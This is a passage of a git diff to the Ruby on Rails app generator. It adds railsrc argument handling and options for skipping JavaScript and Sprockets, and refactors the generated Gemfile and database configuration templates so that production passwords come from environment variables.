         directory "environments"
         directory "initializers"
@@ -85,6 +86,16 @@ module Rails
       end
     end
 
+    def config_when_updating
+      cookie_serializer_config_exist = File.exist?('config/initializers/cookies_serializer.rb')
+
+      config
+
+      unless cookie_serializer_config_exist
+        gsub_file 'config/initializers/cookies_serializer.rb', /json/, 'marshal'
+      end
+    end
+
     def database_yml
       template "config/databases/#{options[:database]}.yml", "config/database.yml"
     end
@@ -129,7 +140,9 @@ module Rails
     end
 
     def vendor_javascripts
-      empty_directory_with_keep_file 'vendor/assets/javascripts'
+      unless options[:skip_javascript]
+        empty_directory_with_keep_file 'vendor/assets/javascripts'
+      end
     end
 
     def vendor_stylesheets
@@ -151,15 +164,18 @@ module Rails
                              desc: "Show Rails version number and quit"
 
       def initialize(*args)
-        raise Error, "Options should be given after the application name. For details run: rails --help" if args[0].blank?
-
         super
 
+        unless app_path
+          raise Error, "Application name should be provided in arguments. For details run: rails --help"
+        end
+
         if !options[:skip_active_record] && !DATABASES.include?(options[:database])
           raise Error, "Invalid value for --database option. Supported for preconfiguration are: #{DATABASES.join(", ")}."
         end
       end
 
+      public_task :set_default_accessors!
       public_task :create_root
 
       def create_root_files
@@ -182,6 +198,11 @@ module Rails
         build(:config)
       end
 
+      def update_config_files
+        build(:config_when_updating)
+      end
+      remove_task :update_config_files
+
       def create_boot_file
         template "config/boot.rb"
       end
@@ -219,11 +240,24 @@ module Rails
         build(:vendor)
       end
 
+      def delete_js_folder_skipping_javascript
+        if options[:skip_javascript]
+          remove_dir 'app/assets/javascripts'
+        end
+      end
+
+      def delete_assets_initializer_skipping_sprockets
+        if options[:skip_sprockets]
+          remove_file 'config/initializers/assets.rb'
+        end
+      end
+
       def finish_template
         build(:leftovers)
       end
 
       public_task :apply_rails_template, :run_bundle
+      public_task :generate_spring_binstubs
 
     protected
 
@@ -237,7 +271,7 @@ module Rails
       end
 
       def app_name
-        @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr(".", "_")
+        @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr('\\', '').tr(". ", "_")
       end
 
       def defined_app_name
@@ -292,5 +326,76 @@ module Rails
         defined?(::AppBuilder) ? ::AppBuilder : Rails::AppBuilder
       end
     end
+
+    # This class handles preparation of the arguments before the AppGenerator is
+    # called. The class provides version or help information if they were
+    # requested, and also constructs the railsrc file (used for extra configuration
+    # options).
+    #
+    # This class should be called before the AppGenerator is required and started
+    # since it configures and mutates ARGV correctly.
+    class ARGVScrubber # :nodoc
+      def initialize(argv = ARGV)
+        @argv = argv
+      end
+
+      def prepare!
+        handle_version_request!(@argv.first)
+        handle_invalid_command!(@argv.first, @argv) do
+          handle_rails_rc!(@argv.drop(1))
+        end
+      end
+
+      def self.default_rc_file
+        File.expand_path('~/.railsrc')
+      end
+
+      private
+
+        def handle_version_request!(argument)
+          if ['--version', '-v'].include?(argument)
+            require 'rails/version'
+            puts "Rails #{Rails::VERSION::STRING}"
+            exit(0)
+          end
+        end
+
+        def handle_invalid_command!(argument, argv)
+          if argument == "new"
+            yield
+          else
+            ['--help'] + argv.drop(1)
+          end
+        end
+
+        def handle_rails_rc!(argv)
+          if argv.find { |arg| arg == '--no-rc' }
+            argv.reject { |arg| arg == '--no-rc' }
+          else
+            railsrc(argv) { |rc_argv, rc| insert_railsrc_into_argv!(rc_argv, rc) }
+          end
+        end
+
+        def railsrc(argv)
+          if (customrc = argv.index{ |x| x.include?("--rc=") })
+            fname = File.expand_path(argv[customrc].gsub(/--rc=/, ""))
+            yield(argv.take(customrc) + argv.drop(customrc + 1), fname)
+          else
+            yield argv, self.class.default_rc_file
+          end
+        end
+
+        def read_rc_file(railsrc)
+          extra_args = File.readlines(railsrc).flat_map(&:split)
+          puts "Using #{extra_args.join(" ")} from #{railsrc}"
+          extra_args
+        end
+
+        def insert_railsrc_into_argv!(argv, railsrc)
+          return argv unless File.exist?(railsrc)
+          extra_args = read_rc_file railsrc
+          argv.take(1) + extra_args + argv.drop(1)
+        end
+    end
   end
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
index 5cbca83..a9b6787 100644
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -1,30 +1,33 @@
 source 'https://rubygems.org'
 
-<%= rails_gemfile_entry -%>
+<% max_width = gemfile_entries.map { |g| g.name.length }.max -%>
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
 
-<%= database_gemfile_entry -%>
-
-<%= assets_gemfile_entry %>
-<%= javascript_gemfile_entry -%>
-
-# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
-gem 'jbuilder', '~> 1.2'
-
-group :doc do
-  # bundle exec rake doc:rails generates the API under doc/api.
-  gem 'sdoc', require: false
-end
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+,<%= gem.padding(max_width) %><%= gem.options.map { |k,v|
+  "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
 
 # Use ActiveModel has_secure_password
-# gem 'bcrypt-ruby', '~> 3.1.2'
+# gem 'bcrypt', '~> 3.1.7'
 
 # Use unicorn as the app server
 # gem 'unicorn'
 
 # Use Capistrano for deployment
-# gem 'capistrano', group: :development
+# gem 'capistrano-rails', group: :development
 
 <% unless defined?(JRUBY_VERSION) -%>
 # Use debugger
 # gem 'debugger', group: [:development, :test]
 <% end -%>
+
+<% if RUBY_PLATFORM.match(/bccwin|cygwin|emx|mingw|mswin|wince/) -%>
+# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
+gem 'tzinfo-data', platforms: [:mingw, :mswin]
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/rails/generators/rails/app/templates/Rakefile
index 6eb23f6..ba6b733 100644
--- a/railties/lib/rails/generators/rails/app/templates/Rakefile
+++ b/railties/lib/rails/generators/rails/app/templates/Rakefile
@@ -3,4 +3,4 @@
 
 require File.expand_path('../config/application', __FILE__)
 
-<%= app_const %>.load_tasks
+Rails.application.load_tasks
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
index 8b91313..07ea09c 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
@@ -13,6 +13,8 @@
 <% unless options[:skip_javascript] -%>
 //= require <%= options[:javascript] %>
 //= require <%= options[:javascript] %>_ujs
+<% if gemfile_entries.any? { |m| m.name == "turbolinks" } -%>
 //= require turbolinks
 <% end -%>
+<% end -%>
 //= require_tree .
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
index 3192ec8..a443db3 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -5,9 +5,11 @@
  * Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
  * or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
  *
- * You're free to add application-wide styles to this file and they'll appear at the top of the
- * compiled file, but it's generally better to create a new file per style scope.
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any styles
+ * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
+ * file per style scope.
  *
- *= require_self
  *= require_tree .
+ *= require_self
  */
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
index c3d1578..75ea528 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -3,11 +3,15 @@
 <head>
   <title><%= camelized %></title>
   <%- if options[:skip_javascript] -%>
-  <%%= stylesheet_link_tag    "application", media: "all" %>
-  <%%= javascript_include_tag "application" %>
+  <%%= stylesheet_link_tag    'application', media: 'all' %>
   <%- else -%>
-  <%%= stylesheet_link_tag    "application", media: "all", "data-turbolinks-track" => true %>
-  <%%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+    <%- if gemfile_entries.any? { |m| m.name == 'turbolinks' } -%>
+  <%%= stylesheet_link_tag    'application', media: 'all', 'data-turbolinks-track' => true %>
+  <%%= javascript_include_tag 'application', 'data-turbolinks-track' => true %>
+    <%- else -%>
+  <%%= stylesheet_link_tag    'application', media: 'all' %>
+  <%%= javascript_include_tag 'application' %>
+    <%- end -%>
   <%- end -%>
   <%%= csrf_meta_tags %>
 </head>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index ceb2bdf..16fe50b 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -4,16 +4,18 @@ require File.expand_path('../boot', __FILE__)
 require 'rails/all'
 <% else -%>
 # Pick the frameworks you want:
+require "active_model/railtie"
 <%= comment_if :skip_active_record %>require "active_record/railtie"
 require "action_controller/railtie"
 require "action_mailer/railtie"
+<%= comment_if :skip_action_view %>require "action_view/railtie"
 <%= comment_if :skip_sprockets %>require "sprockets/railtie"
 <%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
 <% end -%>
 
 # Require the gems listed in Gemfile, including any gems
 # you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env)
+Bundler.require(*Rails.groups)
 
 module <%= app_const_base %>
   class Application < Rails::Application
@@ -28,10 +30,5 @@ module <%= app_const_base %>
     # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
     # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
     # config.i18n.default_locale = :de
-<% if options.skip_sprockets? -%>
-
-    # Disable the asset pipeline.
-    config.assets.enabled = false
-<% end -%>
   end
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
index 3596736..5e5f0c1 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
@@ -1,4 +1,4 @@
 # Set up gems listed in the Gemfile.
 ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
 
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
index 4807986..34fc0e3 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
@@ -6,26 +6,44 @@
 # Configure Using Gemfile
 # gem 'ruby-frontbase'
 #
-development:
+default: &default
   adapter: frontbase
   host: localhost
-  database: <%= app_name %>_development
   username: <%= app_name %>
   password: ''
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: frontbase
-  host: localhost
+  <<: *default
   database: <%= app_name %>_test
-  username: <%= app_name %>
-  password: ''
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="frontbase://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: frontbase
-  host: localhost
+  <<: *default
   database: <%= app_name %>_production
   username: <%= app_name %>
-  password: ''
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
index 3d689a1..d088dd6 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
@@ -33,12 +33,11 @@
 #
 # For more details on the installation and the connection parameters below,
 # please refer to the latest documents at http://rubyforge.org/docman/?group_id=2361
-
-development:
+#
+default: &default
   adapter: ibm_db
   username: db2inst1
   password:
-  database: <%= app_name[0,4] %>_dev
   #schema: db2inst1
   #host: localhost
   #port: 50000
@@ -51,36 +50,38 @@ development:
   #authentication: SERVER
   #parameterized: false
 
+development:
+  <<: *default
+  database: <%= app_name[0,4] %>_dev
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
 test:
-  adapter: ibm_db
-  username: db2inst1
-  password:
+  <<: *default
   database: <%= app_name[0,4] %>_tst
-  #schema: db2inst1
-  #host: localhost
-  #port: 50000
-  #account: my_account
-  #app_user: my_app_user
-  #application: my_application
-  #workstation: my_workstation
-  #security: SSL
-  #timeout: 10
-  #authentication: SERVER
-  #parameterized: false
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="ibm-db://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: ibm_db
-  username: db2inst1
-  password:
-  database: <%= app_name[0,8] %>
-  #schema: db2inst1
-  #host: localhost
-  #port: 50000
-  #account: my_account
-  #app_user: my_app_user
-  #application: my_application
-  #workstation: my_workstation
-  #security: SSL
-  #timeout: 10
-  #authentication: SERVER
-  #parameterized: false
\ No newline at end of file
+  <<: *default
+  database: <%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
index 1d2bf08..db0a429 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
@@ -5,58 +5,64 @@
 # Configure using Gemfile:
 #   gem 'activerecord-jdbcmssql-adapter'
 #
-#development:
-#  adapter: mssql
-#  username: <%= app_name %>
-#  password:
-#  host: localhost
-#  database: <%= app_name %>_development
+# development:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_development
 #
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 #
-#test:
-#  adapter: mssql
-#  username: <%= app_name %>
-#  password:
-#  host: localhost
-#  database: <%= app_name %>_test
+# test:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_test
 #
-#production:
-#  adapter: mssql
-#  username: <%= app_name %>
-#  password:
-#  host: localhost
-#  database: <%= app_name %>_production
+# production:
+#   adapter: mssql
+#   username: <%= app_name %>
+#   password:
+#   host: localhost
+#   database: <%= app_name %>_production
 
 # If you are using oracle, db2, sybase, informix or prefer to use the plain
 # JDBC adapter, configure your database setting as the example below (requires
 # you to download and manually install the database vendor's JDBC driver .jar
-# file). See your driver documentation for the apropriate driver class and
+# file). See your driver documentation for the appropriate driver class and
 # connection string:
 
-development:
+default: &default
   adapter: jdbc
   username: <%= app_name %>
   password:
   driver:
+
+development:
+  <<: *default
   url: jdbc:db://localhost/<%= app_name %>_development
 
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
-
 test:
-  adapter: jdbc
-  username: <%= app_name %>
-  password:
-  driver:
+  <<: *default
   url: jdbc:db://localhost/<%= app_name %>_test
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
 production:
-  adapter: jdbc
-  username: <%= app_name %>
-  password:
-  driver:
   url: jdbc:db://localhost/<%= app_name %>_production
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
index 5a594ac..acb9393 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcmysql.yml
@@ -8,26 +8,45 @@
 #
 # And be sure to use new-style password hashing:
 #   http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
+#
+default: &default
   adapter: mysql
-  database: <%= app_name %>_development
   username: root
   password:
   host: localhost
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: mysql
+  <<: *default
   database: <%= app_name %>_test
-  username: root
-  password:
-  host: localhost
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="mysql://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: mysql
+  <<: *default
   database: <%= app_name %>_production
-  username: root
-  password:
-  host: localhost
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
index e1a00d0..9e99264 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
@@ -2,13 +2,23 @@
 #
 # Configure Using Gemfile
 # gem 'activerecord-jdbcpostgresql-adapter'
-
-development:
+#
+default: &default
   adapter: postgresql
   encoding: unicode
+
+development:
+  <<: *default
   database: <%= app_name %>_development
-  username: <%= app_name %>
-  password:
+
+  # The specified database role being used to connect to postgres.
+  # To create additional roles in postgres see `$ createuser --help`.
+  # When left blank, postgres will use the default role. This is
+  # the same name as the operating system user that initialized the database.
+  #username: <%= app_name %>
+
+  # The password associated with the postgres role (username).
+  #password:
 
   # Connect on a TCP socket. Omitted by default since the client uses a
   # domain socket that doesn't need configuration. Windows does not have
@@ -29,15 +39,30 @@ development:
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: postgresql
-  encoding: unicode
+  <<: *default
   database: <%= app_name %>_test
-  username: <%= app_name %>
-  password:
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: postgresql
-  encoding: unicode
+  <<: *default
   database: <%= app_name %>_production
   username: <%= app_name %>
-  password:
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
index 175f3eb..28c36eb 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcsqlite3.yml
@@ -4,17 +4,20 @@
 # Configure Using Gemfile
 # gem 'activerecord-jdbcsqlite3-adapter'
 #
-development:
+default: &default
   adapter: sqlite3
+
+development:
+  <<: *default
   database: db/development.sqlite3
 
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: sqlite3
+  <<: *default
   database: db/test.sqlite3
 
 production:
-  adapter: sqlite3
+  <<: *default
   database: db/production.sqlite3
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
index c334991..4b2e664 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -1,4 +1,4 @@
-# MySQL.  Versions 4.1 and 5.0 are recommended.
+# MySQL.  Versions 5.0+ are recommended.
 #
 # Install the MYSQL driver
 #   gem install mysql2
@@ -8,10 +8,10 @@
 #
 # And be sure to use new-style password hashing:
 #   http://dev.mysql.com/doc/refman/5.0/en/old-client.html
-development:
+#
+default: &default
   adapter: mysql2
   encoding: utf8
-  database: <%= app_name %>_development
   pool: 5
   username: root
   password:
@@ -21,31 +21,38 @@ development:
   host: localhost
 <% end -%>
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: mysql2
-  encoding: utf8
+  <<: *default
   database: <%= app_name %>_test
-  pool: 5
-  username: root
-  password:
-<% if mysql_socket -%>
-  socket: <%= mysql_socket %>
-<% else -%>
-  host: localhost
-<% end -%>
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="mysql2://myuser:mypass at localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: mysql2
-  encoding: utf8
+  <<: *default
   database: <%= app_name %>_production
-  pool: 5
-  username: root
-  password:
-<% if mysql_socket -%>
-  socket: <%= mysql_socket %>
-<% else -%>
-  host: localhost
-<% end -%>
+  username: <%= app_name %>
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
index b661a60..10ab4c0 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/oracle.yml
@@ -16,24 +16,43 @@
 #  prefetch_rows: 100
 #  cursor_sharing: similar
 #
-
-development:
+default: &default
   adapter: oracle
-  database: <%= app_name %>_development
   username: <%= app_name %>
   password:
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: oracle
+  <<: *default
   database: <%= app_name %>_test
-  username: <%= app_name %>
-  password:
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="oracle://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: oracle
+  <<: *default
   database: <%= app_name %>_production
   username: <%= app_name %>
-  password:
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
index eb569b7..feb25bb 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -14,13 +14,25 @@
 # Configure Using Gemfile
 # gem 'pg'
 #
-development:
+default: &default
   adapter: postgresql
   encoding: unicode
-  database: <%= app_name %>_development
+  # For details on connection pooling, see rails configuration guide
+  # http://guides.rubyonrails.org/configuring.html#database-pooling
   pool: 5
-  username: <%= app_name %>
-  password:
+
+development:
+  <<: *default
+  database: <%= app_name %>_development
+
+  # The specified database role being used to connect to postgres.
+  # To create additional roles in postgres see `$ createuser --help`.
+  # When left blank, postgres will use the default role. This is
+  # the same name as the operating system user that initialized the database.
+  #username: <%= app_name %>
+
+  # The password associated with the postgres role (username).
+  #password:
 
   # Connect on a TCP socket. Omitted by default since the client uses a
   # domain socket that doesn't need configuration. Windows does not have
@@ -44,17 +56,30 @@ development:
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: postgresql
-  encoding: unicode
+  <<: *default
   database: <%= app_name %>_test
-  pool: 5
-  username: <%= app_name %>
-  password:
 
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+#   DATABASE_URL="postgres://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+#   production:
+#     url: <%%= ENV['DATABASE_URL'] %>
+#
 production:
-  adapter: postgresql
-  encoding: unicode
+  <<: *default
   database: <%= app_name %>_production
-  pool: 5
   username: <%= app_name %>
-  password:
+  password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
index 51a4dd4..1c1a37c 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
@@ -3,23 +3,23 @@
 #
 #   Ensure the SQLite 3 gem is defined in your Gemfile
 #   gem 'sqlite3'
-development:
+#
+default: &default
   adapter: sqlite3
-  database: db/development.sqlite3
   pool: 5
   timeout: 5000
 
+development:
+  <<: *default
+  database: db/development.sqlite3
+
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: sqlite3
+  <<: *default
   database: db/test.sqlite3
-  pool: 5
-  timeout: 5000
 
 production:
-  adapter: sqlite3
+  <<: *default
   database: db/production.sqlite3
-  pool: 5
-  timeout: 5000
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
index 7ef89d6..30b0df3 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/sqlserver.yml
@@ -21,37 +21,48 @@
 # If you can connect with "tsql -S servername", your basic FreeTDS installation is working.
 # 'man tsql' for more info
 # Set timeout to a larger number if valid queries against a live db fail
-
-development:
+#
+default: &default
   adapter: sqlserver
   encoding: utf8
   reconnect: false
-  database: <%= app_name %>_development
   username: <%= app_name %>
   password:
   timeout: 25
   dataserver: from_freetds.conf
 
+development:
+  <<: *default
+  database: <%= app_name %>_development
 
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
 # Do not set this db to the same as development or production.
 test:
-  adapter: sqlserver
-  encoding: utf8
-  reconnect: false
+  <<: *default
   database: <%= app_name %>_test
-  username: <%= app_name %>
-  password:
-  timeout: 25
